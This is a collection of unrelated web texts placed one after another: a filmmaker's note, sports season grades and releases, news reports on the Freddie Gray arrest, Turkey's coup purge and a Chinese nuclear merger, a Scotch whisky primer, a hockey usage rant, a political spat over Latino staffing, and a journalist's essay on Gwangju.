This was the first time I’ve used a proper video editing software for editing. In my previous projects both compositing and editing was done in after effects. No-Shit-Sherlock-Lesson: Use the right tools for the job, even if you don’t know them yet, it makes things easier.
Next
The way I’m thinking about my next independent project right now, I want to return to something much closer to the feel of George Ought to Help again - a short script that has the viewer agreeing with each claim, and feeling either the discomfort of cognitive dissonance or a little epiphany by the end. I’m looking forward to it!
Welcome to the second portion of my six-part series, your Detroit Pistons Regular Season Grades. We’ll go through all five positions and also Stan Van Gundy’s performance as head coach and president of the Pistons (that one is kind of a two-for-one deal).
For this series I’m going to grade the player’s season in general, based on their offensive and defensive performance over the course of the season. The grades will be on your typical A+ through F scale, with incomplete also being an option. I’ll only be judging a player’s performance in Detroit for their grade.
If they were traded partially into the season, their work with their former team doesn’t factor into my decision. We’re all about the Pistons here.
This time around we’re going to go through the Pistons’ collection of power forwards, starting with fan-favorite Greg Monroe, then thrice-removed Splash Cousin Anthony Tolliver and finally wrap things up with the young Quincy Miller.
Greg Monroe – A
Although the power forward also known in Detroit affectionately as Moose may soon be heading to New York after not reaching a contract deal with Stan Van Gundy last offseason, he managed to stay focused in his time with the Pistons and had a great season.
Let’s take a look at Monroe’s per 100 possessions statistics from his last two seasons to get a more complete look at how his game has evolved.
Season Age G GS MP FGA FG% FTA FT% ORB DRB TRB AST STL BLK TOV PF PTS ORtg DRtg 2013-14 23 82 82 2690 19.1 .497 6.9 .657 4.8 9.5 14.3 3.2 1.7 0.9 3.1 3.9 23.5 109 108 2014-15 24 69 57 2137 20.6 .496 8.1 .750 5.5 11.5 17.0 3.4 1.9 0.8 3.6 3.6 26.6 110 103 Career 378 334 11818 18.9 .505 7.1 .693 5.4 10.1 15.4 3.8 2.0 1.0 3.5 4.1 24.0 109 106 View Original Table
Generated 4/21/2015. Provided by Basketball-Reference.com Generated 4/21/2015.
Moose is clearly just beginning to enter into his prime, and his increases in almost every statistical category over the past two seasons prove it. The only spots where he noticeably declined were games played and started (and of course no player has control over injuries: they just happen) and turnovers per 100 possessions.
His 0.1 percent drop in field goal percentage and 0.1 less block per 100 possessions aren’t even really noteworthy; it’s not like anyone can watch a game and notice a player blocking 0.1 less shots per 100 possessions.
Meanwhile, Monroe’s points, personal fouls, steals, assists, both offensive and defensive rebounds, free throws per game, free throw percentage and his offensive and defensive ratings all improved this season. It’s pretty apparent he’s progressed as a player both offensively and defensively and should only consider to do so as his career goes on.
If Moose had managed to stay healthy and fit in better with Van Gundy’s shooter-friendly system he may have earned an A+, but unfortunately those factors are out of his control.
The only other real knock on his game is that he didn’t shoot threes, which isn’t really a knock considering the type of player Monroe is. He’s a big power forward who can also play center and bang down low with just about anybody, racking up points and rebounds along the way.
Wherever he ends up next season, Detroit or otherwise, look for Moose to continue to be a beast in the paint (and in our hearts).
Anthony Tolliver – C
Anthony Tolliver is what he is; a veteran role player who can make a few threes per game and contribute some solid minutes off of the bench.
Although he did perform fairly well starting games after Moose went down with an injury and could potentially be a decent-enough stopgap at the position next season if Detroit cannot find a well-priced free agent or rookie power forward, Tolliver is meant to be a seventh or eighth man on a good team.
Tolliver was decent this season and better later in the year, but he still showed troubling signs of regression from his last full season. Although he’s only 29 and hasn’t played an abundance of minutes in his career, Tolliver’s statistical slide is not a good sign. We’ll look at the per 100 possessions statistics again to account for differing minutes per games over his last two seasons.
Season Tm G GS FGA FG% 3PA 3P% 2PA 2P% FTA FT% TRB AST STL BLK TOV PF PTS ORtg DRtg 2013-14 CHA 64 9 12.3 .420 9.9 .413 2.4 .450 1.6 .805 6.7 1.7 0.8 0.6 0.9 3.3 15.7 118 107 2014-15 DET 52 11 14.2 .423 10.2 .360 4.1 .582 2.8 .794 8.6 2.2 0.9 0.7 1.8 5.2 17.9 115 109 View Original Table
Generated 4/21/2015. Provided by Basketball-Reference.com Generated 4/21/2015.
At first it seems like a great line for Tolliver considering his points, blocks, steals, assists and rebounds per 100 and both his field goal and two-point percentages increased since last season. Unfortunately, those statistics do not tell the true story.
The vast majority of Tolliver’s shots (more than 70 percent in his time with the Pistons) come from long range, and Tolliver had a rough year from behind the arc in Detroit.
He made just 36 percent of his threes with the Pistons after making more than 41 percent of them in Charlotte, a rough five-plus point drop. Tolliver would’ve been better served to stick with the two-pointers, considering he connected on a career-high 58.2 percent of them in Detroit. His offensive rating also dropped, likely due to the plethora of missed threes.
That great percentage from in front of the arc in addition to his other statistical increases would’ve been enough for me to cave and give Tolliver a high C or low B despite his slump from three-point territory, but his defense dropped him significantly as well.
He posted a team-low (among qualifying players) 109 defensive rating and also failed to get many blocks or steals. That weak defense lowers him substantially in my ratings.
Quincy Miller – Incomplete
This one made my life easy. Quincy Miller appeared in just four games with Detroit after the team signed him to a series of 10-day contracts, and played just 58 minutes in total. He didn’t make many shots and his statistical impact is very slight at this point, but he hasn’t gotten a fair enough shot for me to criticize him for what he’s done.
The documents provide the first account of Gray's arrest last week during which time he was critically injured and later died. The case has sparked outrage and police have said little about the circumstances, saying the case was under investigation.
The account is provided in charging documents filed in District Court, where officer Garrett Miller wrote that Gray was stopped because he "fled unprovoked upon noticing police presence." When Gray, 25, was stopped, they found a knife clipped to the inside of his front pants pocket and placed him under arrest.
"The defendant was arrested without force or incident," Miller wrote. "During transport to Western District via wagon transport the defendant suffered a medical emergency and was immediately transported to Shock Trauma via medic."
At a news conference Monday afternoon, police said that Gray repeatedly asked for medical care and did not receive it during the arrest that preceded his death.
Police Commissioner Anthony W. Batts said the department is reviewing its policies relating to prisoner transports and when officers should call medics for suspects. He said there were many occasions when medics should have been called.
An officer pulled out a Taser but did not deploy it during the arrest, and Gray asked for an inhaler but did not have one with him, Batts said.
The police van stopped to put leg irons on Gray, then was called to pick up another prisoner near Pennsylvania Avenue, before taking both prisoners to the Western District, where a medic was called for Gray, police said.
Police said the two prisoners were separated by a metal barrier in the back of the van, which did not have a camera inside.
City police have said that video of the incident — which shows a portion of the arrest — does not show use of force at the time of Gray's arrest, and the cause of his injuries remains unclear.
An attorney hired by Gray's family said his spinal cord was severed. He underwent extensive surgery at Shock Trauma, but died Sunday morning, a week after the April 12 incident.
The officers involved have been placed on administrative assignment pending the outcome of the investigation.
This story will be updated.
Turkey's government has accused US-based Muslim cleric Fethullah Gulen of masterminding the coup, in which more than 200 people were killed. Gulen, who has many supporters in Turkey's civil service, judiciary and police, has strongly denied the accusation.
More than 100,000 personnel are employed at the Religious Affairs Directorate, or Diyanet.
Also on Tuesday, Turkey removed 257 staff from duty at the prime minister's office for suspected involvement in the failed July 15 military coup, sources in his team said on Tuesday.
Cal Poly weekly release
(Game #2)
Upcoming game:
San José State vs. Cal Poly
Saturday, September 2, 2017
CEFCU Stadium, San José, Calif., 4:30 p.m. (PT)
San José State record: 0-1, 0-0 Mountain West. The Spartans lost their opener, 42-22, to #19/#21-USF (South Florida)
Cal Poly record: 0-1, 0-0 Big Sky Conference. The Mustangs lost their opener to Colgate, 20-14.
For tickets: Visit www.sjsuspartans.com/tickets, ticketmaster.com or call (408) 924-SJTX. Ticket prices start at $15.00 per ticket. San Jose State University students are admitted free with a valid student ID.
Play-by-Play Radio Coverage: KLIV (1590 AM, San José) originates San José State football broadcasts. Justin Allegri calls the play-by-play. Kevin Richardson provides commentary. The Cal Poly broadcast begins at 4:00 p.m. (PT) with a pregame show.
San José State has two network affiliates.
KION (1460 AM/101.1 FM, Salinas)
ESPN Desportes (860 AM, San Francisco)
Weekly Press Conference: The weekly San José State football press conference is in the Simpkins Stadium Center Gold Room on Mondays at 1:00 p.m. (PT).
The Mountain West Network streams the press conference live through www.sjsuspartans.com/videos. The press conference also is archived at sjsuspartans.com.
Brent Brennan Radio Show: The one-hour weekly Brent Brennan Radio Show airs on KLIV (1590 AM, San José), Thursdays, at 7:00 p.m. The show is taped each Wednesday at 6:00 p.m. at Gordon Biersch in San José located at 33 E. San Fernando Street in downtown San Jose. Justin Allegri, "Voice of the Spartans," is the host.
Brent Brennan on KLIV AM: San José State head coach Brent Brennan is heard weekly on KLIV (1590 AM, San José), Tuesdays at 6:30 a.m. (PT). Tony Michaels serves as host.
Two at home to start a season: For the first time since 1981, San José State plays its first two games of a season at home with its September 2 Cal Poly game following the August 26 season-opener vs. #19/#21-USF. In 1981, the Spartans opened the season losing to UNLV, 16--6, and beating Santa Clara, 41-7 en route to a 9-3 win-loss record, the Pacific Coast Athletic Association championship and a trip to the California Raisin Bowl.
Seeking 1-1: The 2017 season marks the sixth consecutive season San José State can have a 1-1 win-loss record after two games. Twice, in 2012 and 2016, the Spartans won their second game of the season to improve to 1-1.
Plenty of chances to score: The 39 possessions in the San José State-USF game are the most in a San José State football game since the Spartans' 2016 home opener against Portland State. The Spartans and Vikings combined for 37 possessions, 19 by Portland State and 18 by San José State in a 66-35 Spartan win.
Potent first quarter: San José State's 16 points in the first quarter vs. USF are the most points by the Spartans to start a game since scoring 21 points at Hawai'i in a 42-23 victory on November 21, 2015.
900 Club: In a game with 64 combined points scored, there were more punting yards than total offense. San José State, with its 387 yards, and USF, with its 548 yards of total offense, combined for 935 yards of total offense. The two teams punted for 941 yards - 489 on 11 punts by the Spartans and 452 on 12 punts by the Bulls.
88 offensive plays: San José State's 88 plays on offense matched its most plays in a game since the September 3 season opening win over New Hampshire, 43-13. The school record for most plays in a game is 106 in a win over Long Beach State on October 27, 1979.
Lots of pass plays: San José State's 50 pass plays against #19-USF are the most attempts by the Spartans in a game since 51 passes in a 38-31 loss to Colorado State on November 1, 2014. USF tied a San José State opponent record becoming the third school to run 101 plays against the Spartans in a game.
Defense stops majority of USF drives: San José State's defense opened the season stopping 12 of USF's 19 possessions from resulting in points. The Spartans now have two games in a row dating back to the 2016 season-ending win at Fresno State in which the defense stopped the opposing team's offense from scoring on at least 10 possessions in a game not counting end of half nor end of game drives.
Paso Robles pair starts fast: Wide receiver Bailey Gaither and tight end Josh Oliver, a pair of Spartans from Paso Robles, Calif., grew up approximately 30 miles away from the Cal Poly campus. Both got off to good individual starts to the 2017 season in the USF game. Gaither led all players with 100 receiving yards and two touchdowns. He matched teammate Justin Holmes with a game-high and single-game career best six receptions. Oliver had single-game career bests of five catches for 51 yards.
Grab a tasting glass and let's get started!
What Is Whisky?
The word whisky derives from a Gaelic term uisge beatha, or "water of life." This latter term may seem familiar to you; it's also reflected in the Latin aqua vitae, the French eau de vie, and the Scandanavian aquavit.
Defined, whisky is simply a distillate made from fermented grain mash. It does not necessarily need to be aged.
What Is Scotch Whisky?
Scotch whiskey is more specific; it has the following required characteristics:
It must be made in Scotland...
...From water and malted barley.
As we saw last week, it may contain other cereal grains, such as corn and wheat, but it must contain barley.
It must be converted into a fermentable substrate only by endogenous enzyme systems. What in the world does this mean? I'll discuss this later.
It must be fermented only with yeast.
Scotch can be distilled to no higher than 94.8 percent alcohol by volume (ABV), and bottled at at least an ABV percentage of 40 percent. (In practice, most Scotch is distilled to about 60 to 65% ABV.)
Scotch must be matured in oak casks, in Scotland, for no less than three years.
Nothing may be added to Scotch whisky except water, caramel coloring, or a combination of both.
A person must not manufacture any whisky in Scotland except Scotch Whisky.
Single malt Scotch goes a couple of steps beyond these requirements:
It may be distilled in one or more batches...
...At a single distillery...
...From water and barley alone (no other grains).
Finally, it must be made in pot stills. Other Scotch whiskies may be made in column stills, but not single malts. So, in other words, if you buy a blended whisky such as Dewar's, some of the grain whiskies in the blend may have been column-distilled, but if you enjoy a single malt such as Dalmore, all the whisky in the bottle is from pot stills.
Scotch Production: Malting, Mashing, and Fermentation
Scotch whisky starts with malted barley, water, and yeast. Whole kernels of barley don't ferment well, so distillers need to take an additional step and first partially germinate the barley; they steep it in water to allow it to begin to sprout. The barley is then dried on a malting floor, which is a perforated platform. Heated air is forced through the perforations, drying the barley. In some cases, distilleries use smoke, usually from burning peat, to dry the barley and impart a smokey flavor. We'll talk more about peat and smoke a little later.
This process releases enzymes that break down the starches in barley and convert them to sugars; this allows yeasts to begin the process of fermentation. Earlier, I mentioned the term "fermentable substrate." That's what the malting process produces. "Endogenous enzyme systems" refers to the enzymes that malting produces, those that originate from within the grain itself. This language is important; whisky producers in some countries are allowed to add enzymes. Scotch producers are not allowed to.
Traditionally, distillers malted their own barley, produced on nearby farms. A few places still do this—although even those places supplement their own malt with purchased malt—but most distilleries these days purchase malted barley from large producers.
The dried malt is then ground into a flour, mixed with hot water, and allowed to steep. It's during this steeping process, which is called mashing, that the enzymes released in malting convert starches to sugars. Yeast is added, and this liquid—called a "mash"—begins to ferment.
"Wait a second, did you say malted barley, water, and yeast? Isn't that beer?" Yes; you can think of Scotch as a beverage that starts as a beer, albeit one that's produced without hops. This "beer" goes into the still at about 5 to 7 percent ABV.
Scotch Production: Distillation
No one knows exactly how or when distilling reached Scotland. Some theories have it reaching the Scots via Russia and Scandanavia; others say it arrived via Ireland. What we do know, from examining historical documents, is that by the time Columbus sailed west across the Atlantic, a friar in Fife was purchasing malted barley to make a distilled spirit.
Single malt Scotch, by law, must be distilled in copper pot stills. The advantage of using pot stills rather than column stills is that pot stills retain more of the character, texture, and flavor of the original mash. (Column-distilled liquor is closer to pure alcohol, with congeners and other flavor enhancers removed during the distilling process. By law, distillers are allowed to add some column-stilled product to blended Scotch.)
Scotch Production: Aging
Anything labeled and sold as Scotch whisky needs to be aged in oak casks for at least three years. This is true of every product that carries the "Scotch" name: single malts, single grains, blended malts, blended grains, and blended Scotch. (For more information on these various types of blends, see last week's article.)
UK law carries no provisions about the source of the casks used to age Scotch. In the United States, by contrast, Federal law states that only brand new charred oak casks may be used for aging bourbon whiskey. Now, this difference between UK and US law has two implications. The first is that UK law isn't so specific: it just says "oak casks." Scotch distillers can use any type of oak cask to age whisky—either new or previously used. Distillers can use casks that previously held bourbon, rye, sherry, port, madeira, rum, or brandy, for example. The second implication is that if bourbon must be aged in new casks, there are a lot of second-hand bourbon barrels on the market. Where do most of them go? Scotland. Most Scotches on the market today are aged in former bourbon barrels.
Why don't Scotch distillers use new barrels, like bourbon distillers do? There are three reasons. The first is economic: used barrels are simply cheaper than new ones. Additionally, new barrels impart stronger woody notes into the flavor and aroma of a whisky. Scotch makers consider those strong woody notes to be un-Scotch-like. The third reason is innovation: using previously filled casks allows Scotch makers to subtly influence the final character of a dram of whisky. A Scotch aged in a sherry cask takes on the nutty and floral notes of a great sherry, for example.
Maturation and Age Statements
Some, though not all, single malts carry age statements. These may refer to a single calendar year—for example, 1990—or they may describe the age of the whisky—for example, 15 years old.
If a whisky displays a calendar year, all of the whisky in the bottle was distilled in that year. If a whisky displays an age, all of the whisky in that bottle is at least as old as that age—for example, it's all at least 15 years old—and some of the whisky may be older. In practice, though, it's not in a distiller's interest to include whiskies that are much older than the age statement. So in a bottle marked "15 years old," don't expect that any of it is, say, 21 years old. The whisky is likely to all be about 15 to 18 years old.
Terroir and Flavor
Scotch makers speak of terroir in their product in much the same way that winemakers do. Generally speaking, the things that are unique to a given single malt are matters of tradition, recipe, and technique, not geography. The use of peat smoke is one example, as is the decision whether to use bourbon or sherry barrels.
On the other hand, the late whisky writer Michael Jackson wrote of scientific studies that suggest a link between the flavors of a malt, the sources of water used in distilling, the fields of heather through which it flows, and the rock formations from which the water sources arose. So some of this talk of terroir is hype and marketing, but that's not to say it's all nonsense. Geography does affect the flavors and aromas of Scotch, often in subtle ways.
Climate
Whisky loves temperate, damp climates, such as those of Scotland and Ireland. These regions are great for barley production, and even better for helping to achieve unique character of Irish and Scotch whiskies. Why? As whisky ages in a barrel, it expands and contracts into the wood as temperature fluctuates. The greater the temperature fluctuation, the faster spirits age. Scotch, in a temperate climate, ages more slowly than does bourbon, in the more volatile climate of Kentucky. This is also a reason that Scotch can easily age for 20 or 30 years, whereas bourbons of such age are rare and expensive.
Peat
I mentioned earlier that after barley is germinated, it gets spread across a malting floor and dried by the use of forced hot air. Historically, the "air" was peat smoke, but today, more energy-efficient means of heating air exist, and peat smoke is now specifically used as a flavoring component. (To this day, peat is harvested from bogs and moors as a source of fuel, and even energy production, in some parts of the world.) If you've ever had a smoky Scotch whisky, such as the single malt Laphroaig, or the blended malt Peat Monster, you've had a peated whisky.
Regions
Geographically, the world of single malts is divided into five regions. These regions are protected in UK law, to ensure that a Scotch that's labeled with a certain region is actually made in that region. The five regions are Speyside, the Lowlands, the Highlands, Islay, and Campbeltown. Don't invest too much meaning in these regions. Historically, they played a larger role in single malt variations than they do today. But people still speak of the regions, so it's worth a general, broad look at them.
Speyside
The region with the most distilleries, Speyside is located geographically in the center of Scotland. Speyside malts encompass a range of varying characters and styles, which is one reason such geographic classifications are no longer so meaningful as they were historically. Aberlour and Macallan, for example, sherry-ages many of their whiskies, producing a nutty, fruity dram. Balvenie carries notes of honey and orange, whereas its neighbor, Glenfiddich, tastes more of raisins and chocolate. Flavor and character in these malts depends more on house style than any regional characteristics. Other Speyside distilleries include Cardhu, Cragganmore, Glenfarclas, and Glenlivet.
Lowlands
Whiskies from this region are traditionally triple-distilled, making them smooth and light in character, much like Irish whiskies. (Malts from other regions are generally double-distilled, giving them richer character and a thicker body.) For this reason, Lowlands malts are often a good place for Scotch novices to begin. One well-known Lowland is Glenkinchie. A light, rounded, and flowery dram, it's great for beginners. As a bonus, the distillery is located near Edinburgh; it receives visitors and makes for a convenient side trip. Another option is Auchentoshan; triple-distilled, it's sweet and delicate and another option for newbies. Located near Glasgow, it's also a very accessible distillery for a side trip. The only other Lowland whisky currently produced is Bladnoch.
Highlands
The Highlands encompass a huge region and a lot of distilleries, including the islands near the Scottish mainland (excluding the island of Islay). Drams are produced here in many different styles, and so it's difficult to generalize about a "Highland style." I started drinking Scotch with Glenmorangie, mainly because you can pretty much find it everywhere. A creamy and well-balanced whisky, Glenmorangie is the best-selling single malt in Scotland. The distillery regularly puts out special releases: whiskies aged in port or sherry casks, extra-mature releases, and limited-edition bottlings.
I've moved away from Glenmorangie in recent years to try other brands, though. Among my current favorites are Dalmore, Isle of Jura, and Highland Park. Although all three brands have pricy, limited-edition bottlings available, you can skip those and stay with the entry-level releases, all of which are well-balanced, reasonably priced whiskies with individual character and great depth of flavor.
In considering the range of styles available in the Highlands, I must mention Talisker, from the island of Skye. Talisker is a rich, heavy, and smoky malt—not as hugely peated as, say, Lagavulin, but definitely noticeably smoky. Talisker is a great introduction to the peatier side of Scotch, for someone who wants to start exploring those flavors and aromas.
Other Highlands brands include Balblair, Clynelish, Pulteney, Glen Garioch, Lochnagar, Ben Nevis, Dalwhinnie, Glengoyne, Loch Lomond, Oban, Edradour, and Scapa.
Islay
Here we go, the peat bombs. All but one bottling distilled on Islay is peated; Bunnahabhain is the exception, a sweet and nutty whisky that should appeal to any Scotch drinker. Bruichladdich produces a lightly peated drink, subtle compared to its neighbors. It's a good intro for someone crossing over into peatier styles. Beyond that, the other distilleries on the island all produce whiskies with varying ranges of peat, from mid-range to heavy. Other stylistic differences among these whiskies involve secondary flavors: Ardbeg, for example, is earthy and salty, whereas Laphroaig is iodine and medicinal. Other brands include Bowmore, Caol Ila, and Lagavulin.
Campbeltown
The smallest of the whisky regions, Campbeltown was historically among the most active, with over 30 working distilleries. Now, though, things have changed, and the region is reduced to two: Springbank and Glen Scotia. Springbank is my current favorite Scotch; I'm presently working my way through a bottle of the 15-year-old that my wife got me for Christmas. It's a moderately peated Scotch, with the smoke held in check by other flavors, including a rich maltiness, some brineyness, and a sweet nutty taste.
By Pete Sweeney and Charlie Zhu
SHANGHAI/HONG KONG, Feb 4 (Reuters) - China Power Investment Corp is merging with the State Nuclear Power Technology Corp, as Beijing drives consolidation in its rapidly expanding nuclear power sector with the aim of eventually exporting reactors.
The Chinese power producer currently controls about a tenth of China’s nuclear power market, while the State Nuclear Power Technology Corp was formed in 2007 to handle nuclear technology transferred from U.S.-based Westinghouse Electric Co.
A merger between the two would create a firm with total assets of more than 600 billion yuan ($96 billion), industry experts estimate.
“The merger will help them expand in China, and the overseas market in the long run,” said Francois Morin, Beijing-based China director of World Nuclear Association.
All of China Power’s five mainland-listed units, including Shanghai Electric, Jilin Power and Dongfang Energy, announced on Wednesday that they had received notice from China’s Assets Supervision and Administration Commission on the merger.
A detailed proposal on the merger has yet to be finalised, they said in filings with the mainland bourse. Shares of the mainland-listed companies soared on the news.
Officials at China Power and State Nuclear Power could not be reached for comments.
Beijing said in January that it would aid the overseas expansion of Chinese firms, in particular in the rail and nuclear power sectors, raising hackles with some trading partners who fear it signals another wave of subsidized Chinese exports.
China, which now primarily provides financing and construction services to nuclear power projects overseas, is expected by some experts to start exporting reactors after 2020 and become a major exporter by 2030 when it has fully digested foreign technology and developed its domestic industry.
The global nuclear market is currently dominated by firms such as France’s Areva, Russia’s Rosatom State Nuclear Energy Corp and Japan’s Toshiba Corp, which controls Westinghouse.
TOP NUCLEAR POWER MARKET
China Power Investment, parent of Hong Kong-listed China Power International Development, is one of China’s top five independent power producers with total installed capacity of around 90 gigawatts (GWs), a fraction of which is nuclear power.
The tie-up is logical given China Power Investment’s relatively weak nuclear expertise but financial muscle, said analysts.
Consolidation of the nuclear sector is seen as a key to Chinese companies acquiring the scale to compete abroad.
Similar mergers are being contemplated for China National Nuclear Corporation and China General Nuclear, which could lead to the development of an export market for their joint reactor design, the Hualong I model.
China General Nuclear is the state-owned parent of CGN Power , which raised $3.2 billion in an initial public offering in Hong Kong in December. The group is currently the largest nuclear power producer in China with a 44 percent share of the market, followed by China National Nuclear Corporation with 18 percent and China Power Investment with 10 percent, according to Jefferies research report.
Unlike some other industries where China has tried and failed to use foreign technology transfers to create domestic champions, analysts say China has been successful at trading access to its growing nuclear market for access to key technologies from foreign companies.
Westinghouse Electric Co has already handed over most of the intellectual property for its AP1000 reactor design to the State Nuclear Power Technology Corp.
Let's talk more about that defensive specialist thing for a minute, because he's honestly being used in that role more so than just about any regular player in the league.
Among all NHL forwards that played at least 1,000 minutes at five-on-five in 2014-15, Couturier started the fewest percentage of his shifts in the offensive end of the ice -- just 25.5 percent. Of that same group of forwards, Couturier also started the highest percentage of shifts in the defensive end of the ice -- 38.7 percent of his total 5v5 shifts. We don't even need to get into talk about guys he's tasked with playing against -- often the Crosbys, Ovechkins and Tavares' of the world -- to notice that this is keeping him at an offensive disadvantage.
It doesn't take a rocket scientist to realize that it's harder to score goals if you're starting the majority of your shifts at the hard end of the ice. But apparently it's not an easy enough concept for the coach of the Philadelphia Flyers.
Berube also says that Sean Couturier's zone starts is "creating excuses" for offense not being what he'd hoped. — Dave Isaac (@davegisaac) April 13, 2015
Good lord, Craig. Do you need a picture?
It seems maybe somebody needs to draw this out for you.
Let's get a toddler to do it.
Berube: "Bergeron starts all those shifts in his own end. He seems to come out OK, right?" — Frank Seravalli (@frank_seravalli) April 13, 2015
OK. For starters, Couturier's usage is actually more extreme than Patrice Bergeron's. But even putting that aside, PATRICE BERGERON IS THE BEST DEFENSIVE FORWARD IN HOCKEY. He has been doing his damn thing for years, has won roughly a billion Selke Trophies as the league's best defensive forward, has played at a bunch of Olympics, in All-Star Games, he's won the Stanley Cup, and at age 29 is not somebody we should be fairly comparing to the 22 year old Couturier.
Also, Bergeron scored 55 points this year -- 18 more than Couturier. That's a good bit more, yes, but it's not like we're talking totally different stratospheres here. Also, Bergeron played 50 seconds more on the power play per game than Couturier ... and oh, hey, look at that .... Bergeron scored nine extra power play points than Couturier did.
House Democratic Chairman Rep. Xavier Becerra (D-Calif.) said Friday that Pennsylvania Gov. Tom Corbett showed “disrespect” for the Latino community with his comments this week about the lack of Hispanics in state government.
“It’s not as if Pennsylvania is some podunk state out there in the wilderness that doesn’t have a dynamic and talented Latino population,” Becerra, the highest-ranking Latino and fourth-ranking Democrat in the House, told POLITICO in an interview.
Story Continued Below
Speaking at a Philadelphia forum hosted by ALDIA News Media last week, Corbett said he was not aware of any Latinos in his administration.
“No, we do not have any staff members in there,” he said. “If you can find us one, please let us know.”
( Also on POLITICO: Tom Corbett: No Latinos working for me)
When the moderator responded saying she was “sure” there were Latinos in the administration or who would want to work there, Corbett replied, “Do any of you you want to come to Harrisburg? See?”
Becerra called Corbett’s comments an example of the GOP’s “out of touch” approach to the Latino community.
“This certainly flies in the face of a Republican Party that’s trying to change its image of being extreme and out of touch as politicians,” he said. “It’s breathtaking in a way for a governor of a very important state with a large and growing Latino population to be so ignorant of the dynamics of his state.”
According to Philadelphia Magazine, Corbett does in fact have one Latino staffer: Maria Montero, director of the Governor’s Advisory Commission on Latino Affairs.
Corbett, speaking to reporters in Pennsylvania on Thursday, said his words had been twisted by political opponents.
“We are in the political season obviously,” he said. “There are candidates out there on the Democratic side [and] there are liberal organizations coming out of Washington that want to have an impact on the governor’s race here in Pennsylvania.”
He pointed to a nominee for the Liquor Control Board as proof he’s conscious of including the Latino community.
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This is a very personal story that departs from the usual, admittedly sardonic style of journalism you usually see on this blog. Last month I had an experience that was both rare and precious, and also provides insight into contemporary South Korea, US foreign policy, and the power and weakness of the press. It deserves to be shared, and I thank you for reading. Ad Policy
Two weeks ago, on May 21, I stood in the main square of the old city of Gwangju, South Korea, to receive an honorary citizenship from its mayor, Yoon Jang-hyun, a highly respected and progressive politician. Facing me were about 3,000 people gathered for the city’s annual “citizens day,” which commemorates the city’s brief liberation in 1980 from two brigades of Korean Special Forces sent down to crush a student-led movement for democracy.
I was given the honor for exposing the previously hidden role of the United States in the 1980 coup and its involvement in the decisions by the Korean military to crush the rebellion. When my name came up at the May 21 ceremony, Mayor Yoon handed me a beautiful inlaid plaque expressing the city’s appreciation for my “noble endeavor” to “globalize the spirit of the May 18 Democratic Uprising.”
Accepting that award was a high point of my life that I will never forget, and the culmination of decades of reporting I’d done on Gwangju and the US-Korean strategic relationship. As you can see from this clip on YouTube, I was overwhelmed. I expressed my shame at America’s support for the generals over the Korean people and pledged my “solidarity forever” with the city.
My award was doubly significant because my stories had grown directly out of events that took place on the very square where I stood. There, in the shadow of Gwangju’s old Provincial Capital, the last voices of the city’s rebels had been stilled on May 27, 1980, by a Korean Army division dispatched from the DMZ marking the border with North Korea. They were sent with the approval of the US commander of the US-Korea Joint Command, Gen. John Wickham.
That decision, made at the highest levels of the US government, forever stained the relationship between the United States and the South. For the people of Gwangju, many of whom believed that the US military would side with the forces of democracy, it was a deep betrayal that they’ve never forgotten. And once the rest of Korea knew the truth about the rebellion and understood that the United States had helped throttle it, anti-American sentiment spread like wildfire.
The Special Forces “black berets” were dispatched to Gwangju by military strongman Chun Doo-hwan to enforce the martial law he had declared nationwide on the night of May 17, 1980. Over a two-day period, those troops used their M-16s and bayonets to kill and injure hundreds of people in Gwangju’s streets demanding an end to military rule and seeking the restoration of democracy.
The Gwangju Massacre, as it became known, is now commemorated every year by official government ceremonies. For South Korea, it marks a low point in its militaristic history. But the remembrances also honor those who took up arms to defend their nascent republic from the generals who had stolen democracy. That’s because the people of Gwangju did the unthinkable: They fought back.
With guns and weapons seized from local armories, a citizens’ army pushed the martial law forces out of town. As the Korean army threw a tight cordon around Gwangju, the people took it upon themselves to run their affairs.
Thousands of Gwangju citizens mass in the city square during the May 1980 uprising. Photo courtesy of the May 18 Memorial Foundation.
Virtually the entire city joined in, creating a self-governing community that many Koreans now compare to the Paris Commune of 1871. Women shared food and water with the fighters. Taxi and bus drivers shuttled rebels around the town and, on several occasions, used their vehicles as weapons against marauding soldiers. Nurses and doctors tended to the wounded. Citizens, young and old, flocked to local hospitals to donate blood (click here for a chronology of the uprising).
The mural above, displayed at the May 18 Memorial Foundation, provides a vivid record of that week. You can also get a sense of the depth of popular support for the uprising in this short film, which I recorded at the Gwangju city archives of the rebellion, which opened in May. The idea of the “Gwangju Commune” is so popular that the city also gave an honorary citizenship to George Katsiaficas, an American academic who has written two books about the impact of Gwangju on Asian social movements.
Gwangju was the first armed rebellion against South Korea’s military since the end of the Korean War in 1953. But it also shook the very foundations of the American Cold War power structure in East Asia. Gwangju’s challenge to an army that had first seized political power in 1961 created a deep crisis for the Carter administration, which was overwhelmed by the takeover of the US Embassy in Tehran in 1979 and desperately trying to prevent “another Iran” from further disturbing the status quo.
I was in Gwangju shortly after the uprising. And throughout the early 1980s, I reported on South Korea’s student- and worker-led democratic movement, and the US military role there, for the old New York Guardian, The Progressive, The Nation, and the San Francisco Chronicle. In 1985 I visited Gwangju again and met many of the participants in the uprising. That sparked a years-long quest to find the truth about the events.
In 1996, I wrote a series of articles for the Journal of Commerce and South Korea’s Sisa Journal that, for the first time, exposed how deeply the Carter administration was involved in the planning for the military coup of 1980. Based on a huge cache of declassified documents from the State Department and the Pentagon obtained under the Freedom of Information Act, my stories showed that the Carter administration had essentially given the green light to South Korea’s generals to use military force against the huge student and worker demonstrations that rocked the country in the spring of 1980 (years later, I also obtained several hundred CIA documents, showing how badly the agency had underestimated Korean opposition to the dictatorship).
When my Journal of Commerce articles were first published, they received virtually no coverage in the US press, despite the fact that Chun and another general responsible for the massacre were on trial at the time (the only major newspaper to report on them was The Washington Post). Chun was convicted and later pardoned by Kim Dae-jung, the dissident-turned-president he had tried to execute—see my interview with Kim about Gwangju here.
But my revelations were front-page news in South Korea for days and sparked several large demonstrations and sit-ins at the US Embassy in Seoul. In recent years, they’ve also captured the attention of the North Korean media, which have described my stories inaccurately and with its standard exaggerations and hyperbole.
Inside Gwangju itself, my stories had an electrifying effect. For years, its people had known that President Carter had agreed to release forces under the US-Korean joint command to put down their uprising. But until I obtained documents showing that Carter’s envoy in South Korea, William Gleysteen, had given advance approval to his plans to use military force against the students and workers swarming the streets in the spring of 1980, they had no idea of the depth of US complicity. The cables are now famously known in South Korea as the “Cherokee Documents” after the secret code name they were given at the time.
Korean martial law forces confront pro-democracy demonstrators in Gwangju, May 1980. Courtesy of The May 18 Memorial Foundation.
